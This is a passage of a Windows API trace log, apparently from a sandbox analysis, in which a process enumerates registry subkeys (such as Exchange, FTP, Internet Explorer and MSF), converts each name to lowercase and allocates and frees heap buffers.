0x0 [0164.233] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="direct3d", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0164.233] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="direct3d", cchWideChar=8, lpMultiByteStr=0x1dc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="direct3d", lpUsedDefaultChar=0x0) returned 8 [0164.233] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.233] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.233] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.233] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.233] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x8, lpName=0x429d18, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0164.233] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0164.233] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x1dc240, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0164.233] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.233] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.233] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.233] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.233] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x9, lpName=0x429d18, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0164.233] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0164.233] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x1dc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0164.233] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.233] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.233] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.233] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.233] RegEnumKeyW (in: hKey=0xf8, dwIndex=0xa, lpName=0x429d18, cchName=0x104 | out: lpName="Fax") returned 0x0 [0164.233] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0164.233] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x1dc240, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0164.234] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.234] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.234] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.234] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.234] RegEnumKeyW (in: hKey=0xf8, dwIndex=0xb, lpName=0x429d18, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0164.234] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0164.234] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x1dc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0164.234] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.234] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.234] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.234] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.234] RegEnumKeyW (in: hKey=0xf8, dwIndex=0xc, lpName=0x429d18, cchName=0x104 | out: lpName="FTP") returned 0x0 [0164.234] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ftp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0164.235] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ftp", cchWideChar=3, lpMultiByteStr=0x1dc240, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ftp", lpUsedDefaultChar=0x0) returned 3 [0164.235] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.235] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.235] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.235] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.235] RegEnumKeyW (in: hKey=0xf8, dwIndex=0xd, lpName=0x429d18, cchName=0x104 | out: lpName="GDIPlus") returned 0x0 [0164.235] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gdiplus", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0164.235] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gdiplus", cchWideChar=7, lpMultiByteStr=0x1dc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gdiplus", lpUsedDefaultChar=0x0) returned 7 [0164.235] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.235] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.235] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.235] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.235] RegEnumKeyW (in: hKey=0xf8, dwIndex=0xe, lpName=0x429d18, cchName=0x104 | out: lpName="IAM") returned 0x0 [0164.235] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0164.235] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iam", cchWideChar=3, lpMultiByteStr=0x1dc240, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iam", lpUsedDefaultChar=0x0) returned 3 [0164.235] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.235] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.235] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.235] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.235] RegEnumKeyW (in: hKey=0xf8, dwIndex=0xf, lpName=0x429d18, cchName=0x104 | out: lpName="IME") returned 0x0 [0164.235] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0164.235] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x1dc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0164.235] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.235] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.235] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.235] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.235] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x10, lpName=0x429d18, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0164.236] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0164.236] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x1dc240, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0164.236] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.236] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.236] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.236] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.236] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x11, lpName=0x429d18, cchName=0x104 | out: lpName="IMEMIP") returned 0x0 [0164.236] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imemip", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0164.236] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imemip", cchWideChar=6, lpMultiByteStr=0x1dc120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imemip", lpUsedDefaultChar=0x0) returned 6 [0164.236] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.236] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.236] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.236] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.236] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x12, lpName=0x429d18, cchName=0x104 | out: lpName="Internet Connection Wizard") returned 0x0 [0164.236] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet connection wizard", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0164.236] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet connection wizard", cchWideChar=26, lpMultiByteStr=0x1dc240, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet connection wizard", lpUsedDefaultChar=0x0) returned 26 [0164.236] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.236] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.236] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.236] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.236] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x13, lpName=0x429d18, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0164.236] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0164.236] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x1dc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0164.236] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.236] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.236] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.236] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.237] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x14, lpName=0x429d18, cchName=0x104 | out: lpName="Internet Mail and News") returned 0x0 [0164.237] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet mail and news", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0164.237] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet mail and news", cchWideChar=22, lpMultiByteStr=0x1dc240, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet mail and news", lpUsedDefaultChar=0x0) returned 22 [0164.237] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.237] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.237] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.237] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.237] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x15, lpName=0x429d18, cchName=0x104 | out: lpName="Java VM") returned 0x0 [0164.237] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="java vm", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0164.237] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="java vm", cchWideChar=7, lpMultiByteStr=0x1dc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="java vm", lpUsedDefaultChar=0x0) returned 7 [0164.237] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.237] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.237] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.237] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.237] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x16, lpName=0x429d18, cchName=0x104 | out: lpName="Keyboard") returned 0x0 [0164.237] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0164.237] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard", cchWideChar=8, lpMultiByteStr=0x1dc240, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyboard", lpUsedDefaultChar=0x0) returned 8 [0164.237] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.237] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.237] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.237] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.237] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x17, lpName=0x429d18, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0164.237] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0164.237] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x1dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0164.237] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.237] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.237] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.238] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.238] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x18, lpName=0x429d18, cchName=0x104 | out: lpName="Microsoft Management Console") returned 0x0 [0164.238] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft management console", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0164.238] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft management console", cchWideChar=28, lpMultiByteStr=0x1dc240, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft management console", lpUsedDefaultChar=0x0) returned 28 [0164.238] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.238] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.238] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.238] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.238] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x19, lpName=0x429d18, cchName=0x104 | out: lpName="MS Design Tools") returned 0x0 [0164.238] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ms design tools", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0164.238] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ms design tools", cchWideChar=15, lpMultiByteStr=0x1dc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ms design tools", lpUsedDefaultChar=0x0) returned 15 [0164.238] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.238] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.238] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.238] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.238] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x1a, lpName=0x429d18, cchName=0x104 | out: lpName="MSDAIPP") returned 0x0 [0164.238] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdaipp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0164.238] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdaipp", cchWideChar=7, lpMultiByteStr=0x1dc240, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdaipp", lpUsedDefaultChar=0x0) returned 7 [0164.238] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.238] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.238] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.238] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.238] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x1b, lpName=0x429d18, cchName=0x104 | out: lpName="MSF") returned 0x0 [0164.238] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0164.238] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x1dc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0164.238] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.238] RtlFreeHeap 